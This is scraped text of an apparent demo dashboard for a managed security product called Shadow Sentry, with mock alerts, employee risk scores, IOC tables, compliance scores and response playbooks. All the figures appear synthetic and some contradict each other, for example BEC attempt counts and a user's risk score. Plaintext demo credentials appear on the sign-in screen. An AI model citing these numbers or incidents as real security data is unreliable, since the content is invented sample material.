S
Shadow Sentry
Predict, Prevent, Protect
SOC  |  XDR  |  Managed Security
Sign in
Root User
Account owner that performs all administrative functions and creates other admin users.
IAM User
User within an account that performs daily tasks.
Demo Credentials
Role Email Password
Root User admin@shadowsentry.io Admin@2026
IAM User any@email.com User@2026
By continuing, you agree to the Shadow Sentry Customer Agreement or other agreement for Shadow Sentry services, and the Privacy Notice. This site uses essential cookies. See our Cookie Notice for more information.
OR
Data Point
Risk Level —
S Shadow Sentry
Your Deep AI‑Enabled Cyber Protection — Predict. Prevent. Protect. Before threats strike.
AI Engine Live
⚡ SOC  |  XDR  |  MSSP
🛡️ SOC Dashboard 3 CRIT
🔍 Intelligence & Drill-Downs
📋 Compliance Report MGT
🐧 Linux DLP UBUNTU
🛡 GRC NEW
🧠 AI Intelligence AI
🏭 OT / SCADA ICS
🛒 Scam Monitor eCOM·TRADE·CRYPTO
🌐 Client Dashboard CLIENT RISK
Live · Jun 2025
--:--:--
SOC Dashboard
Shadow Sentry · All Modules
Live
Jun 2025 · 30d
--:--:--
SH
Critical Alerts
3
↑ 2 since yesterday
Managed Identities
147
— stable
Protected Endpoints
47
↑ 3 this week
DLP Events (30d)
284
↓ 12% vs last month
Phishing Blocked
1,842
↑ 8% vs last month
UEBA High Risk
4
↑ 2 escalated today
🔐
IDAM
147 users · MFA enforced
2 ALERTS
MFA Adoption91%
SSO Enabled78%
Failed Logins (24h)
28
Suspicious Sessions
3
Active Users (30d)
134
🛡️
EDR
47 endpoints · All protected
HEALTHY
Agent Coverage100%
Patches Current83%
Threats Blocked (30d)
19
USB Attempts Blocked
14
Endpoints Online
43/47
🎣
SentryPhish
1,842 blocked · 30d
12 QUARANT
AI Catch Rate99.2%
False Positive Rate<0.4%
BEC / CEO Fraud
34
Credential Harvesting
218
Malicious Attachments
91
📈
Threat Timeline (30d)
All modules · stacked daily
Phish
DLP
IDAM
EDR
UEBA
🎯
Security Posture
Composite score
IDAM 91 EDR 96 DLP 88 MAIL 99 UEBA 84
🍩
Event Mix
30d by module
Phishing
1842
DLP
284
IDAM
89
EDR
40
UEBA
12
🗓️
Alert Heatmap
Last 4 weeks
Low
High
🔔
Live Alert Feed
Real-time events
● LIVE
💻
Endpoint Risk
Top 6 by risk score
DeviceUserRiskSeen
LAPTOP-JM-01J. MitchellCRIT2m
WKS-AP-IT-02A. PatelHIGH11m
MBP-RS-SALESR. SharmaHIGH34m
WKS-LC-HR-03L. ChenMED1h
SRV-FILE-01svc-backupMED3h
LAPTOP-TK-04T. KumarLOW5h
Active Critical IOCs
3
↑ 2 new today
IOCs Matched (30d)
47
↑ 11 this week
Threat Feeds Active
12
— all syncing
MITRE Techniques
18
↑ 4 new
📈
IOC Match Trend (30d)
Crit / High / Med daily hits
Critical
High
Medium
📊
MITRE ATT&CK Hits
Top techniques · 30d
🍩
IOC Type Breakdown
By indicator class
IP Address
18
Domain
12
URL
9
File Hash
8
⚠️
Active Threat Indicators
IOC matches · last 30 days
TypeIndicatorSourceSeverityLast Seen
IP185.220.101.47CISACRIT4m
Domainupdate-ms365.ruSpamhausCRIT1h
Hasha3f2b1c8d9e0…VirusTotalCRIT2h
IP91.108.4.181ASD ACSCHIGH3h
URLbit.ly/thiru-loginGoogle SafeHIGH5h
Domainpayroll-thirucorp.netShadow Sentry AIMED8h
🌐
Threat Feed Status
12 feeds active
CISA KEV
LIVE
ASD ACSC
LIVE
Spamhaus DROP
LIVE
VirusTotal
LIVE
Shadow Sentry AI Engine
ML
Feodo Tracker
DELAYED
Active Threat Origins
24
↑ 3 new this hour
Attacks Blocked (1h)
847
↑ 12% vs last hour
Top Threat Country
🇨🇳 China
384 attacks/hr
Protected Region
🇦🇺 AU
Melbourne SOC
Geo-Blocked IPs (24h)
2,419
↓ 6% vs yesterday
🌏
Live Global Attack Map
Real-time external threat origins → Melbourne SOC
● LIVE
0 attacks
CRITICAL
HIGH
MEDIUM
TARGET
⚡
Top Threat Origins
By attack volume · 1h
🔫
Attack Vectors
By type · 1h
Brute Force / Auth38%
Web App Exploit24%
Port Scanning18%
Phishing C212%
Malware C2 Beacon8%
📡
Live Attack Feed
Real-time geo events · auto-scroll
● STREAMING
🌐
Attack Intensity by Region
Threats per hour · heatmap
APAC
EMEA
Americas
Other
🧠
Shadow Sentry AI Analyst
● Online · FDF Framework · Context-aware
claude-sonnet-4-20250514
3 CRIT 7 INC 47 EP
🔒 Context: Shadow Sentry · 47 endpoints · Jun 2025 3 critical alerts Posture: 92/100 1,842 phishing blocked
🚨 Summarise today's critical alerts 🧑‍💻 Who is J.Mitchell and what is the risk? 🌏 Top geo threat origins right now 📋 Essential 8 remediation priorities 🛡️ Is our EDR posture sufficient? 📊 Executive summary for the board
🧠
AI Capabilities
Shadow Sentry FDF Framework
Threat Triage
ACTIVE
Incident Analysis
ACTIVE
Compliance Advisory
ACTIVE
UEBA Interpretation
ACTIVE
Report Generation
ACTIVE
MITRE ATT&CK Mapping
ACTIVE
📌
SOC Context Loaded
Live dashboard data
Security Posture92/100
MFA Coverage91%
Patch Compliance83%
Essential 868%
ISO 27001 Readiness74%
⚡
AI Insights
Auto-generated
RISK J.Mitchell shows lateral movement patterns + after-hours access. Immediate review advised.
GAP 13 users without MFA — Finance dept highest exposure.
TREND Phishing volume ↑8% vs last month. BEC attempts targeting Finance.
Open Critical
2
↑ 1 today
Open High
5
— unchanged
In Progress
7
↓ 2 resolved
Resolved (30d)
43
↑ 6 this week
Avg MTTR
4.2h
↓ from 6.8h
📈
Incident Volume (30d)
Open vs Resolved daily
Open
Resolved
⏱️
MTTR by Module
Mean hours to resolve
🚨
Active Incident Queue
SIRP · prioritised
7 OPEN
Ticket IDTitleModulePriorityAssignedStatusCreated
INC-2025-0147BEC fraud attempt — CEO spoof wire requestPHISHCRITSOC TeamIN PROG2h ago
INC-2025-0146After-hours privileged access — J.MitchellUEBACRITS.HungenahallyIN PROG4h ago
INC-2025-0145Bulk file download (2.8GB) — A.PatelDLPHIGHIT SecurityOPEN6h ago
INC-2025-0144Malware blocked — LAPTOP-JM-01 eicar testEDRHIGHIT SupportRESOLVED1d ago
INC-2025-014312 failed logins — j.mitchell accountIDAMHIGHIT SecurityIN PROG1d ago
INC-2025-0142Q3_Finance.xlsx upload attempt to DropboxDLPMEDHR ManagerRESOLVED2d ago
INC-2025-0141Login from Singapore 3am AEST — R.SharmaUEBAMEDIT SecurityOPEN2d ago
Total Users
147
— stable
MFA Enrolled
134
91% coverage
Failed Logins (24h)
28
↑ 8 vs yesterday
Locked Accounts
3
↑ 1 today
Privileged Accounts
12
All reviewed
📈
Login Failures (30d)
Daily failures + suspicion
Failures
Suspicious
📊
MFA Adoption by Dept
% enrolled per department
📋
Identity Metrics
30 day window
MFA Adoption91%
SSO Enabled78%
Privileged Reviewed100%
New Users Provisioned
6
Accounts Deprovisioned
3
Password Resets
11
Access Reviews Done
2
👥
User Directory
147 users · 5 Org Units
UsernameDeptRoleMFALast LoginRisk
j.mitchellFinanceAnalystON2h agoCRIT
a.patelITContractorON11m agoHIGH
r.sharmaSalesExecutiveON34m agoHIGH
l.chenHRManagerON1h agoMED
t.nguyenOperationsAnalystOFF3h agoMED
m.brownITHelpdeskON5h agoLOW
Protected Endpoints
47
↑ 3 this week
Online Now
43
91% availability
Threats Blocked (30d)
19
↓ 4 vs last month
Patches Pending
8
↑ 3 this week
USB Blocks (30d)
14
— typical
📈
Threat Events (30d)
Daily threats / USB / quarantine
Threats
USB
Quarantine
💿
Endpoints by OS
Platform distribution
🦠
Threat Breakdown
By type · 30d
Ransomware Blocked
2
Malware Execution Blocked
7
Suspicious PowerShell
4
Lateral Movement
1
Files Quarantined
7
USB Devices Blocked
14
Clean Scans
1,284
💻
Endpoint Inventory
47 devices · all agents installed
HostnameOSUserAgentPatch StatusRisk
LAPTOP-JM-01Win11 ProJ.Mitchellv3.2.1CRITICALCRIT
WKS-AP-IT-02Win10 EntA.Patelv3.2.1PENDINGHIGH
MBP-RS-SALESmacOS 14R.Sharmav3.2.0CURRENTHIGH
SRV-FILE-01WinSrv 2022svc-backupv3.2.1CURRENTMED
WKS-LC-HR-03Win11 ProL.Chenv3.2.1PENDINGMED
LAPTOP-TK-04Win11 ProT.Kumarv3.2.1CURRENTLOW
Total Events (30d)
284
↓ 12% vs last month
Upload Blocks
48
↑ 5 this week
Clipboard Violations
73
— typical
Website Blocks
112
↓ 8 vs last month
Keyword Triggers
51
↑ 7 this week
📈
DLP Events (30d)
By policy category
Web
Clipboard
Upload
Keyword
👤
Top Offenders
Events by user · 30d
📋
Policy Summary
Compliance & stats
Policy Compliance88%
Data Classification74%
USB Exfil Blocked
0
Active DLP Policies
14
Users Monitored
147
🚫
DLP Event Log
Most recent policy enforcement
TimeTypeUserTargetAction
09:17UPLOADa.pateldropbox.comBLOCKED
09:03CLIPBOARDj.mitchellGmail WebBLOCKED
08:44KEYWORDl.chenGoogle SearchLOGGED
08:31WEBSITEt.nguyenfacebook.comBLOCKED
08:12UPLOADr.sharmawetransfer.comBLOCKED
07:58CLIPBOARDp.leeOutlook WebBLOCKED
Total Blocked (30d)
1,842
↑ 8%
BEC / CEO Fraud
34
↑ 6 this month
Credential Harvesting
218
— typical
Quarantined (active)
12
↑ 2 today
AI Catch Rate
99.2%
↑ from 97.8%
📈
Email Threat Volume (30d)
Spam / Phish / BEC daily
Spam
Phish
BEC
🕐
Attacks by Hour
Business hours peak pattern
📊
Category Breakdown
30d totals
Spam1,499
Credential Harvesting218
Malicious Attachments91
BEC / CEO Fraud34
Emails Scanned
28,400
False Positives
7
📧
Quarantine Queue
Recent blocked emails · review required
FromSubjectScoreTypeRecipientTime
[email protected]URGENT Wire Transfer Required97BECa.patel09:02
[email protected]Your M365 Account Suspended94PHISHj.mitchell08:47
[email protected]Unusual Activity — Action Required88PHISHl.chen08:22
[email protected]Updated Payroll Instructions91BECr.sharma07:55
[email protected]Your Package Could Not Be Delivered79PHISHm.brown06:44
Users Monitored
147
— all active
Critical Risk (>80)
1
↑ 1 today
High Risk (60–79)
3
↑ 1 this week
Anomalies Detected
18
↑ 4 today
Baseline Models
147
All profiled
📈
Anomaly Detection (30d)
Daily anomalies and escalations
Anomalies
Escalated
📊
Risk Score by User
Top 6 users
👁️
High Risk Users
Ranked by behavioural risk score
4 HIGH RISK
J. Mitchell
Finance · Full-time
87
After-hours privileged accessCRITICAL
A. Patel
IT · Contractor
74
Bulk file download 2.8GBHIGH
R. Sharma
Sales · Full-time
71
Login Singapore 03:14 AESTHIGH
L. Chen
HR · Full-time
62
Sensitive doc access spike ×4MEDIUM
📐
Anomaly Categories
By behavioural pattern · 30d
After-hours privileged access
4
Bulk data download (>500MB)
3
New geolocation login
2
Sensitive document access spike
5
Concurrent sessions (>3 devices)
2
Impossible travel detected
1
Permission escalation attempt
1
Threats Blocked
2,267
↑ 7% vs May
Security Posture
92/100
↑ from 89 in May
Open Incidents
7
— in progress
Report Period
Jun 2025
Next: 1 Jul 2025
📊
Security Posture Trend
6-month composite score
🍩
Threats vs Outcomes
30d totals
Blocked
2267
Incidents
7
Resolved
43
📄
Monthly Executive Summary — June 2025
Shadow Sentry · 47 Endpoints
DRAFT
Module Health
IDAM — 2 alerts, 91% MFA
✓
EDR — 19 threats blocked
✓
DLP — 284 policy events
⚠
Phishing — 1,842 blocked
✓
UEBA — 4 high risk users
⚡
Recommendations
Enable MFA for 13 remaining users
Patch 8 endpoints with critical CVEs
Review J.Mitchell access privileges
Tighten DLP clipboard policy
Schedule Essential 8 audit (overdue)
Service Status
SOC Monitoring
ACTIVE
Monthly Hygiene
DONE
Patching
PENDING
Cloud Backup
OK
Next Report
1 Jul
Essential 8 Score
68%
↑ from 52% last audit
ISO 27001 Readiness
74%
Target 85% by Dec
Controls Failing
6
↑ 2 new gaps
Last Audit
Apr 2025
Next: Oct 2025
📊
Essential 8 Maturity Levels
ASD ACSC framework · ML0–ML3
📋
ISO 27001 Domain Coverage
Annex A readiness %
🏛️
Essential 8 Details
Current maturity level per control
Application ControlML1 / 33%
Patch ApplicationsML1 / 33%
Configure MS Office MacrosML2 / 67%
User Application HardeningML0 / 5%
Restrict Admin PrivilegesML2 / 67%
Patch Operating SystemsML1 / 33%
Multi-Factor AuthenticationML2 / 67%
Regular BackupsML2 / 67%
🔍
ISO 27001 Domain Details
Annex A gap analysis
A.5 Information Security Policies85%
A.6 Organisation of Info Security78%
A.8 Asset Management62%
A.9 Access Control88%
A.12 Operations Security59%
A.16 Incident Management54%
Log Events (24h)
14,284
— nominal
Admin Actions (24h)
47
↑ 12 vs yesterday
Anomalous Events
18
↑ 4 today
Log Retention
90d
Immutable WORM
📈
Log Volume (30d)
Admin actions vs anomalous
Admin
Anomalous
🍩
Log Source Mix
By module (24h)
System
8400
IDAM
4200
PHISH
1284
EDR
400
📝
Audit Log Stream
All modules · immutable
IMMUTABLE
TimestampModuleActorEventResourceResult
09:17:04DLPa.patelUpload AttemptQ3_Finance.xlsx → dropbox.comBLOCKED
09:12:51IDAMs.adminRole Modifieda.patel → IT ContractorSUCCESS
09:03:22DLPj.mitchellClipboard BlockNotepad → Gmail WebBLOCKED
09:02:10PHISHsystemBEC Quarantined[email protected]QUARANT
08:55:33EDRsystemUSB Device BlockLAPTOP-JM-01 → SanDisk USBBLOCKED
08:44:19IDAMj.mitchellLogin SuccessSRV-FILE-01 · 02:44 AESTANOMALY
08:31:07UEBAr.sharmaGeo AnomalyLogin from Singapore (3:14 AEST)FLAGGED
08:12:44EDRsystemMalware Blockedeicar_test on LAPTOP-JM-01BLOCKED
Endpoints Patched
39/47
83% current
Patches Pending
8
↑ 3 released
Critical CVEs
2
Urgent action needed
Last Hygiene Run
Jun 14
Next: Jul 14 2025
📊
Patch Status Distribution
47 endpoints breakdown
🍩
Patch Coverage
Current vs pending vs critical
Current (83%)
39
Pending
5
Critical CVE
3
🔧
Patch Status by Endpoint
8 devices require action
8 PENDING
DeviceOSPendingCritical CVELast PatchedAction
LAPTOP-JM-01Win11 22H27CVE-2025-04813 MayURGENT
WKS-AP-IT-02Win10 21H24CVE-2025-031912 MaySOON
WKS-LC-HR-03Win11 22H22—28 MaySCHEDULE
SRV-DC-01WinSrv 20223—1 JunSCHEDULE
Last Backup
SUCCESS
Completed 02:14 AEST
Total Protected
2.4TB
↑ 180GB this month
Jobs (30d)
30/30
100% success rate
Recovery Point
24h RPO
RTO <4h tested
📊
Backup Job Size Trend
Last 12 jobs · GB
🎯
Service Health
30-day window
Jobs Succeeded
30/30
Jobs Failed
0
Total Capacity
5TB
Used Storage
2.4TB
Recovery Tested
Jun 1
Destination
Azure AUS-E
☁️
Backup Job Log
30 day schedule · all jobs
ALL HEALTHY
DateJob NameSizeDurationDestinationStatus
27 Jun 02:14Full — File Server847 GB2h 12mAzure AUS-EASTSUCCESS
26 Jun 02:11Incremental — Finance4.2 GB8mAzure AUS-EASTSUCCESS
25 Jun 02:09Incremental — HR1.8 GB4mAzure AUS-EASTSUCCESS
24 Jun 02:14Full — M365 Mailboxes312 GB1h 4mAzure AUS-EASTSUCCESS
23 Jun 02:08Incremental — Operations2.4 GB5mAzure AUS-EASTSUCCESS
Open Tickets
7
↑ 2 today
Resolved (30d)
43
↑ 6 this week
Avg MTTR
4.2h
↓ from 6.8h
SLA Breaches (30d)
1
↓ from 3 in May
Satisfaction Score
4.6/5
↑ from 4.1
📈
Ticket Volume (30d)
Open vs Resolved daily
Open
Resolved
⏱️
MTTR by Category
Mean hours to resolve
🎫
SIRP Ticket Queue
All open + recent · prioritised
7 OPEN
IDTitleCategoryPriorityAssignedSLAStatus
INC-0147BEC wire request — CEO spoofEmail SecurityCRITSOC Team1h leftIN PROG
INC-0146After-hours access — J.MitchellUEBACRITS.Hungenahally3h leftIN PROG
INC-0145Bulk download — A.PatelDLPHIGHIT Security8h leftOPEN
INC-0144Malware blocked — LAPTOP-JM-01EDRHIGHIT Support—RESOLVED
INC-0141Geo anomaly — R.SharmaUEBAMEDIT Security18h leftOPEN
SOC: ACTIVE
Modules: ONLINE
Data Fabric: CONNECTED
Patching: 8 PENDING
Next Report: 1 Jul 2025
Shadow Sentry · 47 Endpoints · ABN 52 154 199 710
Click any module to explore deep analysis
Intelligence & Drill-Down Analysis
AI workflow explanations · Detailed metrics · Interpretation guides · Recommended actions
🔐
IDAM
Identity & Access Management
MFA: 91% · Failed: 28
↗
🛡️
EDR
Endpoint Detection & Response
Endpoints: 47 · Threats: 19
↗
🚫
DLP
Data Loss Prevention
Events: 284 · Blocks: 48
↗
🎣
SentryPhish
Email Security & Anti-Phishing
Blocked: 1,842 · BEC: 34
↗
👁️
UEBA
User & Entity Behaviour Analytics
High Risk: 4 · Anomalies: 18
↗
⚠️
Threat Intelligence
IOC Feeds · MITRE ATT&CK
Active IOCs: 3 · Matched: 47
↗
🚨
Incident Response
SIRP Queue · Playbooks
Open: 7 · MTTR: 4.2h
↗
🌐
Geo Map & AI Analyst
Live global threats + AI insights
Active Origins: 12 · AI: Online
↗
SECURITY POSTURE
92/100
THREATS BLOCKED (30d)
2,267
CRITICAL ALERTS
3
MTTR
4.2h
ESSENTIAL 8
68%
🔐
IDAM — Identity & Access Management
147 users · Azure AD · MFA Enforced · Privilege Access Management
Total Users
147
— stable
MFA Enrolled
134
91% — 13 gaps
Failed Logins (24h)
28
↑ 3.5× baseline
Suspicious Sessions
3
Active now
🧠 AI Detection Workflow — IDAM
STEP 01
Data Ingestion
Azure AD sign-in logs, LDAP events, PAM sessions, SSO tokens, device registrations
Azure ADSCIMKafka
STEP 02
Baseline Profiling
ML models build per-user login patterns: location, time, device, frequency over 90 days
Isolation ForestK-Means
STEP 03
Anomaly Detection
Impossible travel detection, geo-velocity checks, after-hours privilege access, brute force patterns
Graph MLGeoIP
STEP 04
Risk Scoring
Composite risk score (0–100) combining anomaly severity, blast radius, user role, historical behaviour
UEBA FusionCVSS
STEP 05
Automated Response
Conditional access policy enforcement, MFA step-up challenge, account lock, SOC alert creation
SOARAzure CA
⚠ CRITICAL
j.mitchell — Russian IP Login
Login from 185.220.101.47 (Russia, Tor exit node) while user is physically in Melbourne. Impossible travel. Credential likely compromised.
Immediate Actions
  1. Force password reset NOW
  2. Revoke all active sessions
  3. Block IP range at firewall
  4. Enable enhanced MFA (FIDO2)
  5. Open incident INC-0146
⚡ URGENT
28 Failed Logins — 3.5× Baseline
Normal baseline is 8/day. Today's 28 represents a 3.5× spike, consistent with a credential stuffing or targeted brute-force campaign against Finance dept accounts.
Recommended Actions
  1. Identify top failing accounts
  2. Enable lockout after 5 attempts
  3. Check compromised credential databases (Have I Been Pwned)
  4. Notify Finance dept manager
🔶 WARN
13 Users Without MFA
9% of workforce lacks MFA. Industry best practice requires ≥98%. Finance and Operations depts have highest exposure. This directly affects Essential 8 ML2 compliance.
Remediation
  1. Target Finance dept first (highest risk)
  2. Set 7-day MFA enrolment deadline
  3. Block access after deadline for non-compliant users
✓ HEALTHY
Privileged Accounts — 100% Reviewed
All 12 privileged accounts were access-reviewed this month. Zero orphaned admin accounts detected. PAM vault utilisation at 100%. This meets ISO 27001 A.9.2.5.
👥
High-Risk User Directory
Authentication events · Risk-ranked
UsernameDeptRoleMFALast LoginSource IPRisk ScoreTrigger
j.mitchellFinanceAnalystON2h ago185.220.101.47 🇷🇺87/100Impossible travel + Tor IP
a.patelITContractorON11m ago10.0.1.45 🏢74/100Bulk download 2.8GB
r.sharmaSalesExecutiveON34m ago202.12.28.44 🇸🇬71/100New geo: Singapore 3:14 AEST
l.chenHRManagerON1h ago10.0.1.78 🏢62/100Sensitive doc access spike ×4
t.nguyenOperationsAnalystOFF3h ago10.0.2.21 🏢41/100No MFA — policy violation
🛡️
EDR — Endpoint Detection & Response
47 endpoints · Sentry Agent v3.2.1 · 100% coverage · Windows/macOS
Protected Endpoints
47
100% coverage
Threats Blocked (30d)
19
↓ 4 vs last month
Patches Pending
8
↑ 3 critical
Patch Compliance
83%
Target: 95%+
🧠 AI Detection Workflow — EDR
STEP 01
Telemetry Collection
Process creation, network connections, file system changes, registry modifications, kernel calls via eBPF/ETW
eBPFETWSysmon
STEP 02
Behavioural Analysis
Process tree analysis, parent-child relationships, memory injection detection, LOLBin identification
YARASigma Rules
STEP 03
Threat Classification
ML classifiers identify ransomware, C2 beacons, fileless malware, credential dumping, lateral movement
Cuckoo SandboxMITRE
STEP 04
IOC Enrichment
Hash lookup in VirusTotal, CISA KEV, Shadow Sentry threat intel feeds. MITRE ATT&CK technique mapping
VirusTotalSTIX/TAXII
STEP 05
Containment
Automated network isolation for critical threats. Process kill, file quarantine, memory capture, forensic snapshot
SOARVMware NSX
⚠ CRITICAL
LAPTOP-JM-01 — C2 Beacon Detected
Endpoint is communicating with known C2 infrastructure at 185.220.101.47 (APT29/Cozy Bear associated). Beacon interval: 120 seconds. Consistent with post-exploitation activity.
Immediate Actions
  1. ISOLATE from network NOW — do not alert user
  2. Capture memory image for forensics
  3. Check for lateral movement to SRV-FILE-01
  4. Identify all credentials entered on this device (30d)
  5. Reset all service accounts touched
⚡ HIGH
83% Patch Compliance — Critical Gap
8 endpoints missing critical patches including CVE-2024-21338 (Windows kernel privilege escalation, CVSS 7.8). This is an Essential 8 Maturity Level 2 requirement with ≤48h remediation SLA.
Remediation Steps
  1. Prioritise CVE-2024-21338 — kernel exploit in wild
  2. Deploy emergency patch via Intune/WSUS
  3. Complete within 48h to maintain E8 ML2
  4. Report to CISO and board
🔶 WARN
Suspicious PowerShell on WKS-AP-IT-02
PowerShell executed with -EncodedCommand flag and -ExecutionPolicy Bypass on A.Patel's workstation. Base64 decoded payload shows LDAP enumeration commands — likely privilege reconnaissance.
✓ HEALTHY
100% Agent Coverage
All 47 endpoints have Sentry EDR agent v3.2.1 installed and reporting. Zero agent gaps detected. This meets Essential 8 Application Control ML2 requirement. Last full scan: 14 minutes ago.
💻
Endpoint Risk Register
Full inventory · risk-ranked · patch status
HostnameOSUserAgentLast SeenCritical CVEsPatch StatusRisk
LAPTOP-JM-01Win11 ProJ.Mitchellv3.2.12mCVE-2024-21338C2 ACTIVECRIT
WKS-AP-IT-02Win10 EntA.Patelv3.2.111mCVE-2024-30088PENDINGHIGH
MBP-RS-SALESmacOS 14R.Sharmav3.2.034mAgent outdatedCURRENTHIGH
SRV-FILE-01WinSrv 2022svc-backupv3.2.13h—CURRENTMED
WKS-LC-HR-03Win11 ProL.Chenv3.2.11hCVE-2024-26234PENDINGMED
🚫
DLP — Data Loss Prevention
284 events (30d) · 14 policies active · Privacy Act 1988 · OAIC compliant
Total Events (30d)
284
↓ 12% vs last month
Upload Blocks
48
High-risk exfil attempts
PII Records at Risk
890
R. Sharma incident
Policy Compliance
88%
Target: 95%+
🧠 AI Detection Workflow — DLP
STEP 01
Content Interception
Browser proxy, email gateway, cloud app API, clipboard monitoring, print/USB intercept
SSL InspectionCASB
STEP 02
Content Classification
BERT NLP classifies content: PII, financial, health, IP. Pattern matching for TFN, ABN, credit cards, Medicare numbers
BERT NLPRegex
STEP 03
Policy Evaluation
Match content against 14 active policies. Evaluate context: destination, user role, time, data classification level
Policy EngineRBAC
STEP 04
Risk Assessment
Volume analysis, repeat offender detection, destination reputation, compliance obligation assessment (Privacy Act, OAIC)
UEBA FusionGRC
STEP 05
Enforcement & Report
Block/warn/log actions. OAIC 72h notification assessment. Evidence preservation. Manager notification. Incident creation
SOAROAIC API
⚠ CRITICAL — OAIC OBLIGATION
R. Sharma — 890 PII Records to Gmail
R. Sharma attempted to transfer 890 customer PII records (names, TFNs, email, phone) to a personal Gmail account. This constitutes an eligible data breach under the Privacy Act 1988. 72-hour OAIC notification window is active.
Required Actions
  1. Preserve all evidence NOW — do not alert user
  2. Interview R. Sharma within 24 hours
  3. Legal counsel engaged — assess OAIC notification
  4. Review full 30-day access logs for all 890 records
  5. Notify OAIC if eligibility confirmed (72h window)
⚡ HIGH
A. Patel — Dropbox Upload Blocked
IT contractor A. Patel attempted to upload Q3_Finance.xlsx (classified CONFIDENTIAL) to personal Dropbox. Pattern of 3 upload attempts in 7 days suggests intentional data staging. Contract review required.
🔶 MEDIUM
Clipboard Violations — 73 Events
73 clipboard monitoring events triggered. Bulk copy of customer data from CRM to browser detected across 4 users. Automated warning sent to each user. Finance dept accounts for 48% of events.
✓ IMPROVING
284 Events — 12% Reduction
Month-on-month DLP events are down 12%. Attribution: awareness training completed in May (87 users). USB exfil events dropped to zero this month. Policy tuning reduced false positives by 22%.
🚫
DLP Event Detail — High Risk Events
Policy enforcement · Privacy Act obligations highlighted
TimeUserTypeContentDestinationRecordsActionOAIC?
08:12r.sharmaUPLOADPII · TFN · Emailgmail.com890BLOCKEDASSESS
09:17a.patelUPLOADFinancial · Confidentialdropbox.com1BLOCKED—
09:03j.mitchellCLIPBOARDCustomer datagmail.com—BLOCKED—
08:44l.chenKEYWORD"confidential salary"google.com—LOGGED—
🎣
SentryPhish — Email Security
1,842 blocked · 28,400 scanned · 99.2% AI catch rate · BEC/CEO fraud prevention
Total Blocked (30d)
1,842
↑ 8% vs last month
AI Catch Rate
99.2%
Industry avg: 87%
BEC / CEO Fraud
34
↑ 6 this month
False Positives
7
< 0.4% FPR
🧠 AI Detection Workflow — SentryPhish
STEP 01
Email Ingestion
M365 mail flow rules capture all inbound/outbound email. Headers, body, attachments, links extracted. 28,400 emails/month.
M365 APISMTP
STEP 02
NLP Analysis
BERT-based model analyses writing style, urgency cues, impersonation patterns. Sender spoofing detection. Domain lookalike analysis.
BERT NLPDMARC
STEP 03
Link/Attachment Scan
URL detonation in cloud sandbox. Attachment detonation in isolated VM. YARA rules for malware patterns. VirusTotal hash lookup.
CuckooVirusTotal
STEP 04
BEC Scoring
Executive impersonation detection. Financial request pattern scoring. VIP sender graph analysis. Wire transfer/gift card request detection.
Graph MLConfidence
STEP 05
Quarantine & Alert
Auto-quarantine with score ≥75. SOC alert for score ≥90. User notification for borderline cases. Monthly simulation reports.
M365 QuarantineSOAR
⚠ CRITICAL
34 BEC / CEO Fraud Attempts
34 Business Email Compromise attempts in 30 days — a 21% increase. Average BEC incident costs $70K (ASD ACSC 2024). SentryPhish prevented estimated $2.38M in losses this month. Primary targets: Finance (284 attempts) and CEO (312).
Recommended Actions
  1. Verify CEO/CFO LinkedIn for reconnaissance data
  2. Implement out-of-band verification for wire transfers
  3. Run BEC simulation exercise for Finance dept
  4. Review DMARC/DKIM/SPF records for all domains
⚡ HIGH
218 Credential Harvesting Attempts
218 emails attempting to steal M365, banking, or internal portal credentials. Top spoofed brands: Microsoft (67%), AusPost (18%), CommBank (11%). Phishing kits use real SSL certificates — user training critical.
✓ EXCELLENT
99.2% AI Catch Rate
SentryPhish AI catches 99.2% of threats vs industry average 87% (+12.2pp advantage). Only 7 false positives in 28,400 scans (<0.4% FPR). Zero user-reported phishing clicks this month. $280K estimated breach prevention value.
🔶 MONITOR
Rising Volume — 8% MoM
Email threat volume increasing 8% month-over-month. Consistent with seasonal pattern (Q2 tax time). BEC attempts up 21%. No breach detected but continued vigilance required. Recommend staff training update in July.
📧
Top Targeted Employees & Recent Quarantine
Attack patterns · SOC priority list
EmployeeRoleAttempts (30d)Top Threat
CEOExecutive312BEC impersonation
CFOFinance284Wire fraud requests
HR DirectorHR198W-2/payroll fraud
a.patelIT87Credential harvesting
j.mitchellFinance64M365 spoof
CategoryCount% of Total
Spam1,49981.4%
Credential Harvesting21811.8%
Malicious Attachments914.9%
BEC / CEO Fraud341.8%
False Positives7<0.4%
👁️
UEBA — User & Entity Behaviour Analytics
147 users monitored · 90-day baselines · ML anomaly detection · 4 critical risk users
Users Monitored
147
All profiled
Critical Risk (>80)
1
J. Mitchell
High Risk (60–79)
3
A.Patel, R.Sharma, L.Chen
Anomalies (30d)
18
↑ 4 today
🧠 AI Detection Workflow — UEBA
STEP 01
Telemetry Fusion
Correlates IDAM, EDR, DLP, email, network, file access, badge swipe data per user per session
Data LakeKafka
STEP 02
Baseline Building
90-day rolling baseline per user: login times, data volumes, access patterns, geo-location, device fingerprints
Isolation ForestK-Means
STEP 03
Anomaly Detection
Statistical deviation scoring, peer group comparison (same dept/role), temporal analysis, impossible travel detection
Graph MLZ-Score
STEP 04
Threat Classification
Classify: Malicious Insider vs. Compromised Account vs. Negligent Employee. Weight recent HR flags, termination status, access requests.
XGBoostHR API
STEP 05
Response Orchestration
Enhanced monitoring, manager notification, HR/Legal engagement, account restrictions, evidence preservation for forensics
SOARHR Systems
⚠ CRITICAL — 89/100
J. Mitchell — Possible Compromised Account
Score 89/100. Triggers: Impossible travel (Melbourne → Russia same session), C2 beacon on laptop, after-hours server access, multiple failed MFA. Assessment: Compromised account with active adversary. Malicious insider cannot be ruled out.
Evidence-Preserving Response
  1. DO NOT alert user — preserve evidence
  2. Network isolate LAPTOP-JM-01 silently
  3. Enhanced monitoring on all J.Mitchell sessions
  4. Engage HR and Legal in parallel
  5. Forensics: memory capture + disk image
⚡ HIGH — 74/100
A. Patel — Negligent/Malicious Insider
Score 74/100. IT contractor with bulk download (2.8GB), Dropbox upload attempt, PowerShell enumeration. Pattern consistent with data staging before contract end. HR confirms contract expiry in 14 days.
Actions
  1. Review contractor data access scope — likely over-privileged
  2. Enable enhanced DLP monitoring
  3. Prepare access revocation plan for contract end
  4. Review all data accessed in last 30 days
⚡ HIGH — 71/100
R. Sharma — Data Exfil + Impossible Travel
Score 71/100. Login from Singapore at 3:14 AEST (could be VPN or travel). DLP block of 890 PII records to Gmail. Combined pattern exceeds threshold for OAIC notification assessment. Cross-correlate with HR for travel records.
🔶 MEDIUM — 62/100
L. Chen — Sensitive Doc Access Spike
